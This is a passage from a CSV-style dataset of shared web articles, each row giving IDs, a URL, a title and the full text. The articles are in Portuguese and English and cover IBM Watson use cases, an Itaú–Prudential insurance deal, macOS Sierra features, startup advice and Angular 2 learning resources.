14rtDb46NQJkuqFJuHqZG3o6uAWwGbV58z",en
1474383177,CONTENT SHARED,-5414889822782394955,-1616903969205976623,-2746725884070612810,,,,HTML,http://exame.abril.com.br/publicidade/ibm/conteudo-patrocinado/6-exemplos-de-como-usar-computacao-cognitiva,6 exemplos de como usar computação cognitiva | EXAME.com,"Por permitir uma inovadora forma de aprendizado, a computação cognitiva, usada em sistemas como o Watson, da IBM, pode soar como uma tecnologia do futuro. Isso porque esse sistema de inteligência artificial é capaz de compreender e aprender com a linguagem natural e com textos, imagens e outros dados não estruturados, aqueles que ainda não foram convertidos para a linguagem tradicional das máquinas. Algoritmos sofisticados permitem ainda a análise de uma quantidade massiva de dados, para gerar insights e soluções. E isso é coisa do presente. Já existem muitas empresas, em diversas áreas, que utilizam a computação cognitiva. Conheça, a seguir, seis desses exemplos. Atendimento no Bradesco Um dos grandes potenciais dos sistemas cognitivos é sua capacidade de trabalhar com linguagem natural, em seus diversos idiomas, como o português. O sistema aprende a sintaxe da língua e pode diferenciar até pequenas variações idiomáticas e sotaques. Assim, torna-se fluente, graças a seus avançados algoritmos de aprendizado. O sistema pode chegar a um nível de fluência tão sofisticado que se torna capaz de interagir com clientes no atendimento por telefone, por exemplo. É isso o que o Bradesco está testando. O banco fez uma parceria com a IBM em que o Watson, em um primeiro momento, foi treinado e está respondendo a dúvidas para gerentes de agências por meio de um chat interno e, posteriormente, ajudará os atendentes a responder às perguntas dos correntistas. ""O sistema vai auxiliar o atendente a tratar melhor nossos clientes"", diz Marcelo Camara, gerente do departamento de pesquisa e inovação tecnológica do Bradesco, em entrevista a EXAME.com. Hoje, o Watson está em operação em 700 agências e tem respostas para mais de 50 000 perguntas sobre mais de 15 produtos do Bradesco. Fitness e saúde na Under Armour Fundada em 1996, a Under Armour é uma empresa americana de roupas e materiais esportivos que investe pesado em tecnologia. Possui uma série de aplicativos para smartphones e aparelhos que fazem a leitura de informações biométricas para ajudar na rotina de treinos de seus usuários, com dados como gasto de caloria, alimentação e tempo de sono. É aí que entra a computação cognitiva. A empresa anunciou, na feira de eletrônicos CES deste ano, que o Watson fará a análise dos dados registrados no seu principal aplicativo, o UA Record. Assim, os usuários vão ganhar novas possibilidades de insights sobre sua condição física e poderão compará-la à de outros integrantes da comunidade do app. O Watson utilizará sua capacidade de interpretar dados para orientar o usuário sobre quais caminhos usar para otimizar seu desempenho fitness e melhorar sua saúde. Combate ao câncer no Memorial Sloan Kettering Pioneiro no tratamento de câncer nos Estados Unidos, o Memorial Sloan Kettering Cancer Center está na fronteira do uso da tecnologia para o combate à doença, que matou 8,2 milhões de pessoas em 2012. Por conta de sua natureza mutante e diversificada, cada tumor é único e o tratamento também precisa ser planejado de forma única. Isso pode representar um desafio enorme para os médicos, mas não para o Watson, que consegue utilizar sua capacidade imensa de processar grandes volumes de informação para gerar novos insights. ""Nosso papel é o de professores do Watson. Assim como ensinaríamos um oncologista trainee, treinamos o sistema. Inserimos informações sobre como nossos médicos tratam os pacientes e muita literatura médica"", diz Mark Kris, médico chefe do departamento de computação cognitiva do Memorial Sloan Kettering. Com base em milhões de páginas de literatura, o sistema é capaz de sugerir possíveis tratamentos. ""Isso transformará todo médico no mais experiente do mundo naquele problema específico"", diz Larry Norton, chefe do departamento de câncer de mama do hospital. O Watson atua como um assistente superinteligente, dotado de um vasto conhecimento que pode ser utilizado para ajudar os médicos até nos casos mais complicados. Ajuda a engenheiros na Engeo Assim como ocorre na medicina, a computação cognitiva pode ajudar outros profissionais a tomarem melhores decisões no trabalho. A empresa Engeo, que tem escritórios nos Estados Unidos e na Nova Zelândia, tem feito isso por seus engenheiros. A empresa tem alimentado o Watson com informações fundamentais sobre engenharia e infraestrutura, que podem ser acessadas por profissionais ao redor do mundo, inclusive em países em desenvolvimento e em áreas atingidas por desastres naturais. Os engenheiros podem, assim, obter respostas com base na análise de uma variedade imensa de dados, o que seria difícil sem um sistema informatizado e inteligente. Turismo eficiente na startup WayBlazer Onde quer que estejam as perguntas difíceis, a computação cognitiva pode ajudar a respondê-las. Mesmo se a questão for cotidiana, como: ""Onde encontrar um bom lugar para jantar com três crianças em São Paulo, que tenha boas opções vegetarianas e esteja nas proximidades de uma estação de metrô?"", sistemas como o Watson conseguem cruzar uma vasta base de informações e oferecer respostas com alto grau de precisão. A startup americana WayBlazer está utilizando a computação cognitiva para isso. Especializada em roteiros de viagem, a startup oferece a outras empresas de turismo, como redes de hotéis e companhias aéreas, um serviço de recomendação altamente segmentado. Assim, quando um cliente faz uma pesquisa em seus websites, as palavras-chave são processadas pelo Watson, que usa sua capacidade de entender linguagem natural para oferecer uma série de opções, muito mais efetivas. Novos serviços financeiros no Citigroup Grandes empresas prestadoras de serviços financeiros, como o Citigroup, armazenam uma vasta quantidade de dados sobre transações e características dos clientes. Como usar esses dados para oferecer insights que facilitam a vida dos correntistas, além de novos produtos e maneiras de interagir com os clientes? O Citigroup está experimentando os potenciais da computação cognitiva para isso. ""No Citi, desenvolvemos constantemente novas formas de atender melhor nossos clientes"", afirma Don Callahan, chefe de operações e tecnologia. ""Agora, estamos trabalhando para repensar e redesenhar as várias maneiras como nossos consumidores interagem com dinheiro. Vamos explorar a tecnologia do Watson para prover serviços novos e seguros em torno de suas vidas, cada vez mais digitais.""",pt
1474385855,CONTENT SHARED,6769852549722242790,2542290381109225938,-6179039791993865297,,,,HTML,http://www.sonhoseguro.com.br/2016/09/itau-vende-carteira-de-vida-para-prudential/,Itaú vende carteira de vida para Prudential | Sonho Seguro,"O Itaú Unibanco divulgou comunicado hoje informando seus acionistas e ao mercado em geral que celebrou, nesta data, um contrato de compra e venda de ações com a Prudential do Brasil Seguros de Vida por meio do qual o Itaú Unibanco compromete-se a alienar a totalidade de suas operações de seguros de vida em grupo comercializado principalmente por meio de corretores. Para a conclusão da Operação a Itaú Seguros, companhia controlada pelo Itaú Unibanco, será cindida e as operações de seguros de vida em grupo serão vertidas para a IU Seguros, cuja totalidade do capital será alienada à Prudential. A operação de seguros de vida em grupo contou com prêmios líquidos no valor aproximado de R$ 465 milhões em 2015 e mais de 1,9 milhão de vidas seguradas.A transferência das ações e a liquidação financeira da Operação ocorrerão após o cumprimento de determinadas condições previstas no Contrato, incluindo a obtenção das autorizações regulatórias necessárias. Estima-se que a Operação não tenha efeitos contábeis relevantes nos resultados do Itaú Unibanco em 2016. A alienação dessa operação reitera a estratégia já divulgada do Itaú Unibanco de focar em seguros massificados, tipicamente relacionados ao varejo bancário. Segundo comunicado da Prudential, a compra do Itaú Group Life complementa a operação existente de seguro de vida individual da Prudential do Brasil. Após aprovação regulatória, sujeita às condições acordadas de fechamento, a transação está prevista para ser concretizada até o primeiro semestre de 2017. Após o fechamento, o Itaú fornecerá apoio para o período de transição por aproximadamente um ano para evitar interrupções no atendimento de clientes. A Prudential do Brasil planeja operar o negócio adquirido como uma empresa Fundado em 1997, a Prudential do Brasil é a segunda maior seguradora de vida individual no Brasil com base nos prêmios contabilizados até junho de 2016. A Prudential do Brasil apresentou para o Brasil o conceito único de Life Planner®da Prudential, que utiliza o sistema de vendas baseadas nas necessidades por profissionais de seguro de vida altamente qualificados. Em junho de 2016, a seguradora tinha 27 agências, mais de 1100 corretores franqueados Life Planner® e mais de 300.000 apólices ativas.autônoma.",pt
1474388723,CONTENT SHARED,-906467637324626408,-5639303336519418445,-9169975085196629004,,,,HTML,http://nomadesdigitais.com/madrid-encontra-forma-divertida-e-colorida-de-melhorar-vida-dos-pedestres/,Madrid encontra forma divertida - e colorida - de melhorar a vida dos pedestres - Nômades Digitais,"As faixas de pedestres estão presentes na rotina de quem caminha pelas cidades e também dos motoristas que passam por elas diariamente. Porém, esta sinalização já se confunde tanto com a paisagem urbana que muitas vezes sequer notamos quando passamos por ela. Isso, é claro, se a faixa em questão não tiver sido alvo da intervenção do artista Christo Guelov . Suas obras Funnycross e Funnycross II (um trocadilho que significaria algo como ""cruzamento divertido"") foram instaladas em diversas faixas de pedestres na cidade de Madrid, tornando a vida dos moradores da cidade mais colorida e dando um toque de descontração à paisagem urbana. A segunda edição da obra coloriu 13 faixas de pedestres com padrões geométricos simples e cores saturadas. De acordo com o site do artista , a intervenção "" luta para melhorar o foco do pedestre e do motorista, promovendo o respeito pela faixa usando seu impacto visual "". O resultado é lindo de se ver: Todas as fotos © Rafael Pérez Martinez Aprenda a ser um Nômade Digital 31.934 pessoas fazem parte de nosso grupo fechado de dicas por e-mail. É grátis!",pt
1474399921,CONTENT SHARED,-3487500907059331343,-709287718034731589,-7053709891702726147,,,,HTML,https://9to5mac.com/2016/09/20/macos-sierra-now-available-everything-new/,"macOS Sierra software update for Mac rolling out now, here's everything new","It's been a week since iOS 10 debuted on iPhone and iPad, and now it's the Mac's turn with macOS Sierra. OS X is officially no more; long live macOS (version 10.12 to be precise). As its name cleverly suggests, macOS Sierra brings Siri to the Mac for the first time since the voice assistant was introduced in 2011 with the iPhone 4s. You can free up space on your Mac with a new optimized storage feature, sync your clipboard (and desktop and documents folders) between your Apple devices, watch videos from Safari with picture-in-picture, and use Apple Pay on the web to easily make purchases. You can even bypass your lock screen with your Apple Watch thanks to auto-unlock. Here's how to update and what to try in macOS Sierra: Backup Before you do something major to your Mac like update the whole operating system, it's always a good idea to make sure you have a functional backup of your important data (like documents, photos, and other media). Apple has a handy page for learning how to backup OS X Lion through OS X El Capitan using Time Machine, iCloud, Time Capsule, external hard drives, and alternative backup options. These are the quick links for OS X El Capitan: Backup options for OS X El Capitan Time Machine - Learn how to backup your Mac using Time Machine . iCloud - Use iCloud to backup your music, photos, calendars, etc. Backup options - Learn about alternative options for backing up your Mac. Update Once your Mac is backed up and your data is safe if anything goes wrong, it's time to update. Apple says these Macs are compatible with macOS Sierra: MacBook (Late 2009 or newer) MacBook Pro (Mid 2010 or newer) MacBook Air (Late 2010 or newer) Mac mini (Mid 2010 or newer) iMac (Late 2009 or newer) Mac Pro (Mid 2010 or newer) As for feature requirements, you may want to check this page to see if a feature that you want works with your Mac. Auto-Unlock, for example, requires 2013 or new Macs due to Bluetooth limitations so my 2012 Mac mini doesn't make the cut. If you're Mac is compatible, you can open the Mac App Store and look for the macOS Sierra banner or link on the right sidebar, then click and follow the prompts to update. You can access the Mac App Store by clicking the Apple () icon in the top left corner of your display, then click Mac App Store to launch it. What to try in macOS Sierra Siri Apple's voice assistant finally coming to the Mac is the headlining new feature. You can ask Siri questions about your Mac, control Finder, and do many of the same things that you can do on Siri everywhere else without interrupting your work on the Mac. Siri does have some limitations on the Mac though. There's no HomeKit support yet and podcast control isn't quite ready. It is fun to send messages and set reminders with Siri on the Mac and controlling or asking about your hardware is pretty clever. You can even pin Siri queries to the Today view for easy reference. Auto Unlock macOS Sierra testers have been saying that Auto Unlock makes wearing an Apple Watch worth it. Just wear your Apple Watch with watchOS 3 and you can skip your log in. Apple Pay If you have iPhone 6 or later running iOS 10 or an Apple Watch with watchOS 3, you can actually checkout with websites on your Mac using Apple Pay in Safari is skip the process of filling out your billing and shipping information. You can test Apple Pay on the web with Apple.com and plenty of other sites are already offering Apple's mobile payment service at checkout. When you select Apple Pay at checkout, your iPhone or Apple Watch will ask you to verify the transaction then the whole process is complete. It's very fast and very convenient. iCloud Drive If you pay for upgraded iCloud storage (or just don't have much to sync), iCloud Drive on macOS Sierra lets you set your desktop and documents folders to sync. The benefit is that you can see your desktop across multiple Macs and on iOS and the web with the iCloud Drive app and iCloud.com. iTunes 12.5 Apple recently released an updated version of iTunes that overhauls the Apple Music experience similar to the changes on iOS 10. macOS Sierra includes the latest version of iTunes out of the box. Messages You need iOS 10 to unlock the full potential of iMessage with features like drawing, stickers, and screen effects, but macOS Sierra has some new Messages smart included. Emoji are much larger now, you can use Tapback to react to specific messages, and rich inline previews show you URLs, tweets, video embeds, and more without you having to click. You can also view a lot of the new Messages effects like invisible ink, handwritten messages, and stickers, although you can't create these from the Mac and iMessage apps aren't supported. Screen effects like fireworks and balloons are sadly reduced to parenthetical descriptions for now too. (sent with Sad Trombone Effect) Optimized Storage If you're running low on space or just what to put your Mac to work, macOS Sierra includes some new Optimize Storage options that let you manage your data smarter on a low capacity drive. For example, you can set your trash can to empty after 30 days or look for large files that you may want to delete. If you use iCloud, you can also allow macOS Sierra to offload rarely used files from your local storage if you run out of disk space. Photos Apple's built-in Photos app continues to get smarter with macOS Sierra thanks to a new face recognition engine, the ability to search for objects and scenery, view your faces by location, and more. There's even a new Memories feature similar to iOS 10, although videos aren't supported on the Mac for some reason. The latest version of Photos also includes various enhancements throughout the app like mousing over a collection to view what's inside and tweaked editing controls. Picture in Picture iOS 9 introduced picture in picture to the iPad last year and now macOS Sierra is bringing it to the Mac. This lets you watch videos in Safari in a pop out window that floats over your other active windows. You can even option click and drag windows to any part of the display which isn't possible on iPad. Tabs You probably use tabs the most in Safari or Chrome, and Finder gained tabs in a recent OS X update. Now macOS Sierra is making tabs easier for all applications and adding the tab feature to built-in apps like Maps and TextEdit. Three cheers for window management. Universal Clipboard Finally, we have universal clipboard which is a pretty ambition feature. You're clipboard can sync between Macs, iPhone, and iPad so you can copy a line of text on your Mac and paste it in Messages on your iPhone. The clipboard expires after a couple of minutes so you can't accidentally paste something that you copied hours ago or get your clipboards confused. When it works (most of the time) it's really impressive and useful. The hardest part is remembering that such an invisible feature is there.",en
1474399947,CONTENT SHARED,6180979718957141670,-709287718034731589,-7053709891702726147,,,,HTML,https://9to5mac.com/2016/09/20/apple-pages-keynote-numbers-mac-real-time-collaboration/,"Apple updates Pages, Keynote, and Numbers for Mac w/ real-time collaboration features &amp; more","Alongside its public release of macOS Sierra , the latest major operating system release for Mac, Apple today updated its Pages, Keynote, and Numbers apps with new features including real-time collaboration. The standout new feature is the real-time collaboration, a feature Apple during its iPhone 7 event earlier this month and first added to the iWork iOS apps with updates last week. Currently in beta, the feature allows multiple users on Mac, iPad, iPhone, and edit a document at the same time. Apple is also rolling out the public release of macOS Sierra today that it first showed off and released for beta testers earlier this year. The release brings Siri to the Mac for the first time, Apple Pay on the web, adds a new Auto Unlock feature that works with Apple Watch, and much more. Check out our rundown of what's new in macOS Sierra here . You can download the updated , , and Mac apps on the Mac App Store now.",en
1474400010,CONTENT SHARED,-7623502978685822577,-709287718034731589,-7053709891702726147,,,,HTML,https://blog.nugget.one/2016/09/04/dont-start-big-start-a-little-snowball/,"Don't Start Big, Start a Little Snowball","Little Snowballs When myself and my co-host interviewed Travis Kalanick on our podcast, he had recently co-founded a little snowball called UberCab. It was so early in Uber's existence he didn't even mention it. I notice Uber falls into a category of companies I call little snowballs. There are some fundamental features these companies have in common. I thoguht it might be helpful to list a few little snowballs and then talk about how you can go about starting your own. Uber Travis Kalanick and Garrett Camp commissioned the creation of a simple app that enabled users to hail a black car on demand. To validate they asked friends and colleagues to install the app. They hired a driver & watched what happened. After a few months of hustle the app hit 10 rides in one day. Airbnb Brian Chesky and Joe Gebbia bought a few airbeds and put up a static site called ""Air Bed and Breakfast"". They expanded the concept so that other people could offer airbeds in their homes and make money too. Then they expanded the idea to rooms, then to entire apartments. Their journey was a hustle from hell, but they made it happen. Google Sergey Brin and Larry Page built a web search engine. It was one page with a search box and submit button. The backend was a simple database search returning ranked results based on the number of backlinks. It did a really good job at providing search results, and took off. Slack Stewart Butterfield worked with his Tiny Speck group to build a better team messaging app. Slack makes it really easy for people to signup and start chatting as a team. At it's core Slack is a simple IM client. Other examples AT&T, Dollar Shave Club, Buffer, Shazam, DropBox What is a Little Snowball? ""A startup that is founded to do-one-simple-thing-well, and that can be massively grown outward from that starting point."" Typical markers: Very simple idea with a single facet Extremely low product surface area (frontend and backend) Can generally be prototyped and brought to market in months Is instantly useful and quickly gains early-adopter traction Each of these markers makes it considerably easier for you as a founder to start and grow the first version of your business. A Simple Single Facet Just about every part of growing your business becomes easier if the foundational idea is do-one-thing-well. I've been part of a number of startups where it was almost impossible to explain what we do in a single sentence. This wreaks havok during sales meetings and investor pitches. However, when your startup is a single cell organism, customers and investors are not confused about what you do. Word of mouth and viral loop growth becomes significantly easier to achieve. You can focus on growing the business, rather than trying to understand what the business is. A Low Product Surface Area This is a huge, almost unfair, advantage. Dollar Shave Club is the ultimate example. An idea you can build and launch in a weekend. Then, from Monday forward, spend all your time, effort and money on marketing and learning about your customers. I learnt this lesson the hard way. I lunched my tool Pluggio, a tool that buffers social content, at the same time as Buffer. Buffer focused on doing one-thing-well while I built Pluggio out to become a social media dashboard. Ironically, no matter how many features I added, Pluggio's main selling point continued to be social buffering. So, while I was adding 100k lines of code to make a really slick single page web app, buffer was marketing and integrating their very simple app. Due to my high product surface area my time was sucked up by support requests. Sales were harder because the product was harder to explain. Integrations were a non starter because the product was to complex. After 3 years Pluggio's yearly revenue was $50k and Buffer's was $1m. Fast to Prototype and Launch The sooner you can get to market the sooner you can validate and start learning about how your customers make purchase or adoption decisions. Often times you can quickly validate a business by taking very manual steps that don't scale. For example, if you wanted to validate the business hypothesis - People will order coffee from a delivery app - you could get 250-500 business cards printed out saying - We deliver coffee. Call us on 123-123-1234. - then hand them out at the mall at breakfast time. The very next day you will have some great information about your basic hypothesis. Build Something People Want The final little snowball component is to make sure your core idea is something people actually want. Without that je ne sais quoi your rolling stone will gather no moss. How Can I Find My Own Little Snowball? Full disclosure, I am founder of Nugget (startup incubator & community). Our primary purpose is to help you find, and grow, your own little snowball. That said, here are some tips to help you come up with off the cuff ideas: Think Small This sounds easier than it is. Many founders think at large scale because they want to build a Google or Uber. They feel it's too much of a gamble to think about smaller things. Another common trap is to get caught in the mindset of thinking more features equals more sales. To think small, you should notice details of everyday problems going on around you and try to find do-one-thing-well opportunities. Notice Problems Problems are everywhere. The trick is to open your consciousness to the stream of problems that life presents us with. You would be surprised at how capable we are of drowning out regularly annoying tasks that become part of our daily life. Now it's time to start to notice those things we've trained ourself to ignore. One note about this, it's very important you solve a problem that other people have. That sounds like obvious advice, but if no one else has the problem, you're dead in the water. Look For Optimizations Optimization essentially means - to make something better - and is really just another way to solve a problem. However, thinking through the mental model of optimization, can lead you to come up with some interesting product ideas. For example the core essence of Buffer is an optimization of Twitter. As a side note. Question: Why didn't Twitter simply add that feature when they saw it take off in Buffer, Hootsuite and other apps? Answer: They were too busy staying on task and building their own little snowball. Explore Old Ideas You probably already have a number of ideas you've been thinking about and possibly even products you've launched. Have another look at them through the lens of what we've discussed here. With any luck you might find a single facet that can be extracted from that old work and turned into a do-one-thing-well little snowball. . . . I'm building Nugget (startup incubator & community). We send a new SaaS startup idea to your inbox every single day. Signup for free .",en
1474400624,CONTENT SHARED,7104734618727920421,3061273947166110301,-3930988824284297957,,,,HTML,http://kelsocartography.com/blog/?p=1466,Kelso's Corner,"I got a great xmas gift from my friend Curt this year, a little book called The Back of the Napkin : Solving Problems and Selling Ideas with Pictures by Dan Roam. If you like Edward Tufte , you'll like Dan Roam. This book was rated #5 Business Book on Amazon.com last year, but really he talks about informational graphic storytelling, so don't let that throw you. As it advertises in the introduction, I was able to read thru the book on my DC to LA flight but I quickly discovered there are enough gems for many returns. Here are the basics: Dan Roam has a great website with animations, movies, and other resources. He also puts on events and keeps current with a blog. The following images are from his website. 1. Visual Thinking Toolbox 2. The Codex 3. The SQVID 4. The <6><6> Rule From Amazon.com (below). Buy it there . From Publishers Weekly The premise behind Roam's book is simple: anybody with a pen and a scrap of paper can use visual thinking to work through complex business ideas. Management consultant and lecturer Roam begins with a watershed moment: asked, at the last minute, to give a talk to top government officials, he sketched a diagram on a napkin. The clarity and power of that image allowed him to communicate directly with his audience. From this starting point, Roam has developed a remarkably comprehensive system of ideas. Everything in the book is broken down into steps, providing the reader with tools and rules to facilitate picture making. There are the four steps of visual thinking, the six ways of seeing and the SQVID- a clumsy acronym for a full brain visual work out designed to focus ideas. Roam occasionally overcomplicates; an extended case study takes up a full third of the book and contains an overload of images that belie the book's central message of simplicity. Nonetheless, for forward-thinking management types, there is enough content in these pages to drive many a brainstorming session. Illus. (Mar 13) Copyright © Reed Business Information, a division of Reed Elsevier Inc. All rights reserved. Review ""The premise behind Roam's book is simple: anybody with a pen and a scrap of paper can use visual thinking to work through complex business ideas. Management consultant and lecturer Roam begins with a ""watershed moment"": asked, at the last minute, to give a talk to top government officials, he sketched a diagram on a napkin. The clarity and power of that image allowed him to communicate directly with his audience. From this starting point, Roam has developed a remarkably comprehensive system of ideas. Everything in the book is broken down into steps, providing the reader with ""tools and rules"" to facilitate picture making. There are the four steps of visual thinking, the six ways of seeing and the ""SQVID""- a clumsy acronym for a ""full brain visual work out"" designed to focus ideas. Roam occasionally overcomplicates; an extended case study takes up a full third of the book and contains an overload of images that belie the book's central message of simplicity. Nonetheless, for forward-thinking management types, there is enough content in these pages to drive many a brainstorming session. Illus."" - Publisher's Weekly ""As painful as it is for any writer to admit, a picture *is* sometimes worth a thousand words. That's why I learned so much from this book. With style and wit, Dan Roam has provided a smart, practical primer on the power of visual thinking."" -Daniel H. Pink, author of A Whole New Mind ""Inspiring! It teaches you a new way of thinking in a few hours - what more could you ask from a book?"" -Dan Heath, author of Made to Stick ""This book is a must read for managers and business leaders. Visual thinking frees your mind to solve problems in unique and effective ways."" -Temple Grandin, author of Thinking in Pictures ""If you observe the way people read or listen to things in the early 21st century, you realize that there aren't many of us left with a linear attention span. Visual information is much more interesting than verbal information. So if you want to make a point, do it with images, pictures or graphics. . . . Dan Roam is the first visual consultant for businesses that I've worked with. His approach is faster for the customer. And the message sticks."" -Roger Black, Media design leader, Author of Websites That Work ""Simplicity. This is Dan Roam's message in The Back Of The Napkin. We all dread business meetings with their mountains of documents and the endless bulleted power points. Roam cuts through all that to demonstrate how the use of simple drawings - executed while the audience watches - communicate infinitely better than those complex presentations. Is a picture truly worth a thousand words? Having told us how to communicate with pictures, Roam rounds out his message by explaining that ""We don't show an insight-inspiring picture because it saves a thousand words; we show it because it elicits the thousand words that make the greatest difference."" And that is communication that works."" -Bill Yenne, author of Guinness: The 250 Year Quest for the Perfect Pint Tags: Amazon , back of the napkin , business , codex , Dan Roam , edward tufte , graphic design , information design , roger black , sqvid , tufte , visual storytelling , visual thinking toolkit",en
1474406304,CONTENT SHARED,-1443900796086927361,3636910968448833585,4359391867939730165,,,,HTML,http://digitising-it.eiu.com/what-is-its-role-in-digital-transformation/,What is IT's role in digital transformation?,"Digital technology is revolutionising business but the role that IT departments play in digital transformation is not clear. To understand what business leaders expect of their IT departments, The Economist Intelligence Unit - sponsored by SAP - surveyed 812 senior executives, from both the IT department and non-IT functions. These are the key findings.",en
1474457093,CONTENT SHARED,1525777409079968377,3829784524040647339,9199535333484635322,,,,HTML,http://probabilistic-programming.org/wiki/Home,Probabilistic Programming,"This website serves as a repository of links and information about probabilistic programming languages, including both academic research spanning theory, algorithms, modeling, and systems, as well as implementations, evaluations, and applications. If you would like to contribute to this site, please contact Daniel Roy.",en
1474462207,CONTENT SHARED,7932334249452694632,3609194402293569455,-7132303439693307831,,,,HTML,https://endeavor.org.br/documentario-empreendedorismo-netflix/,10 documentários para empreendedores,"Veja os dez documentários para empreendedores escondidos na Netflix. Os documentários são uma ótima ferramenta para quem quer se informar sobre um assunto. E há muitos deles que tratam de temas importantes para o empreendedorismo. Pensando nisso, separamos dez documentários disponíveis na Netflix para quem tem o seu próprio negócio ou tem intenção de empreender. Os filmes falam dos mais diversos setores: das bebidas à impressão 3D, passando por histórias como a da antiga Atari, que dominou o mundo dos videogames nos anos 1980. Quer se informar e relaxar ao mesmo tempo? Então navegue pelos tópicos abaixo: O filme conta a história da Atari, empresa que dominou o mercado de videogames nos anos 1980 e teve sua derrocada após o fracasso do jogo ""E.T."", baseado no filme de Spielberg. O ponto central do documentário é a história de que a empresa teria enterrado os cartuchos do jogo que não deu certo. O filme fala sobre o fracasso, algo que pode estar no caminho de qualquer empreendedor. Confira o trailer, em inglês: O sucesso dos produtos Burt's Bees é resultado do trabalho de uma figura icônica: o falecido Burt Shavitz. Burt era um excêntrico criador de abelhas que nunca imaginou se tornar um milionário com uma famosa marca de cosméticos naturais. O documentário conta a história do empreendedor desde o início, quando ainda era apenas um fotógrafo, até sua a complicada relação com cofundadora da marca, Roxanne Quimby. Passando por altos e baixos, a história de Burt é inspirado do início ao fim. Confira o trailer, em inglês: 3. Jiro Dreams of Sushi O documentário fala sobre o chef de sushi Jiro Ono, de 85 anos, e seu restaurante super exclusivo em Tóquio. No documentário, o filho de Jiro, Yoshikazu, passa desafio de assumir o negócio, enquanto seu pai se dedica a criar o sushi perfeito. O filme é uma boa pedida para quem tem interesse em negócios familiares, tradição e também para aqueles que estão sempre em busca de melhorar seu trabalho. Confira o trailer, em inglês: O documentário conta a história da empresária Iris Apfel, que, aos 95 anos, ainda é um ícone do mundo da moda. Para quem quer empreender nesse setor, o filme é um prato cheio. O documentário também pode interessar todos que querem empreender na área de economia criativa, ao mostrar como essa mulher enfrentou barreiras e se manteve ativa até hoje. Confira o trailer, em inglês: 5. Pump - Histórias do Petróleo O petróleo é combustível essencial para o transporte hoje e quem quer empreender nessa área precisa conhecer mais sobre o assunto. Este documentário contextualiza a origem de nossa dependência do petróleo, fala sobre o papel dos empreendedores numa possível mudança desse quadro e questiona: se existem outras soluções para gerar energia, por que seguimos dependentes? Esse filme é uma boa pedida para empreendedores interessados em tecnologia. O documentário fala sobre as impressoras 3D e a corrida das empresas que optaram por disputar esse mercado. Com uma abordagem fly-on-the-wall, o filme serve como um tempo presente da cápsula do tempo ""Moment Macintosh"" de impressão 3D, onde a mudanças tecnológicas passam de industrial para uso pessoal. O filme também aborda a polêmica sobre armas 3D impressas, e faz perguntas difíceis sobre o que é preciso para alcançar o sonho americano. Confira o trailer, em inglês: 7. Steve Jobs: como ele mudou o mundo Steve Jobs é uma das maiores referências para empreendedores interessados em inovação e em como acreditar na sua ideia, mesmo que todos digam o contrário. Neste documentário, é possível conhecer um pouco mais da história desse empreendedor e de como ele se manteve firme mesmo quando ninguém mais acreditava no sucesso da Apple. O documentário fala sobre os impactos nocivos da indústria têxtil no meio ambiente e na qualidade de vida das pessoas, que, muitas vezes, trabalham em condições insalubres para que o mercado seja abastecido com roupas de baixo custo. Além dos que têm interesse pelo setor, o filme é importante para todos os que se questionam sobre o impacto que o seu negócio tem para o mundo. Confira o trailer, legendado em português: 9. Tony Robbins: eu não sou seu guru Um dos palestrantes e coachs mais famosos do mundo dos negócios, Tony Robbins atrai legiões de fãs. Este documentário acompanha os bastidores do megaevento anual promovido por ele e traça um perfil deste ""guru"" pouco ortodoxo, desde a sua vida cotidiana até o mundo dos negócios. O documentário mostra, na prática, o que muitos só tinham lido em livros: uma grande transformação pessoal, por meio de técnicas extremamente simples e altamente efetivas. Confira o trailer: Gosta de um bom Champagne? Esse documentário acompanha produtores, empresários e especialistas na bebida, exclusiva da região de Champagne, na França. A produção de David Kennard narra uma viagem até Champagne e acompanha a produção do vinho local ao longo de uma safra , dividindo a história em quatro partes, uma para cada estação do ano. Para empreendedores interessados no mundo das bebidas em geral, é uma boa forma de conhecer a cadeia produtiva. Para ativar as legendas no trailer, basta clicar no CC: Com essa lista em mãos, só falta separar a pipoca e um caderno para anotar os principais insights de cada produção. E ai, qual vai ser o primeiro da série? Artigo originalmente publicado e adaptado de Exame.com",pt
1474465315,CONTENT SHARED,-4920252354047555768,3829784524040647339,9199535333484635322,,,,HTML,http://www.datamation.com/open-source/slideshows/15-top-open-source-artificial-intelligence-tools.html,15 Top Open Source Artificial Intelligence Tools,"Focused more on enterprise uses for AI than on research, H2O has large companies like Capital One, Cisco, Nielsen Catalina, PayPal and Transamerica among its users. It claims to make is possible for anyone to use the power of machine learning and predictive analytics to solve business problems. It can be used for predictive modeling, risk and fraud analysis, insurance analytics, advertising technology, healthcare and customer intelligence. It comes in two open source versions: standard H2O and Sparkling Water, which is integrated with Apache Spark. Paid enterprise support is also available.",en
1474471428,CONTENT SHARED,5036201777135800491,3609194402293569455,-7132303439693307831,,,,HTML,http://tutorialzine.com/2016/09/30-learning-resources-for-mastering-angular-2/,30 Learning Resources For Mastering Angular 2,"30 Learning Resources For Mastering Angular 2 Danny Markov Angular 2 is a vast and complex framework with a never ending learning curve. To help you grasp more of its many features, we've curated a list of 30 free learning resources that cover it all - from the quickstart guide to specific details and best practices. Let's first quickly go over the available guides and tutorials on the official Angular website. There are a bunch of different resources there and we decided it's a good idea to explain them. Angular2 apps can be written in TypeScript, Dart, or good ol' vanilla JavaScript. There are separate versions of the official docs for each language, but the TypeScript one is by far most detailed, as this is the recommended technology to use. This will be the starting point for most beginners to Angular2. It includes setting up a work environment and running a basic Hello World app. Don't be fooled by its name, you will need a good hour or two to finish this QuickStart. A much simpler version of the TypeScript QuickStart. Since it is written for vanilla JavaScript this tutorial doesn't require a complex work environment and setup, so it goes straight to the framework itself and some of it's main concepts. Tour of heroes is a much more detailed tutorial than the QuickStart. It goes through the process of building a Single Page App, step by step, covering many of the must-know Angular2 features. There are TypeScript and Dart versions, but no vanilla JS. Here the Angular team offers over 15 standalone tutorials, each doing a very in-depth look into an important topic. You can learn about Angular animations, the lifecycle of components, the navigation router, and many other core features. A collection of code snippets and quick solutions to common challenges. Here you can find a chart of the differences between Angular 1 and 2, a FAQ section on NgModules, and solutions for form validation among other helpful tips and guides. Now let's look at some tutorials and articles written by the community. We've tried to include only publications that are fairly new, making them compatible with the changes in recent versions. A well-written article that covers everything you need to know about upgrading old Angular 1 apps to the new framework. In it you can see what Angular2 does better, which aspects of an app need the most radical changes, as well as practical code snippets to get the job done. This tutorial focuses on the new 3.0 router component, and explains the whole process needed for configuring it correctly. The author has done a great job explaining what Single Page Apps are, how they work, and how to route them in a robust and secure way. The new Angular2 compiler improves the performance of applications dramatically by taking full advantage of JavaScript Virtual Machines. In this blog post you can learn about Just-in-Time and Ahead-of-Time compilation, their pros and cons, and how to implement 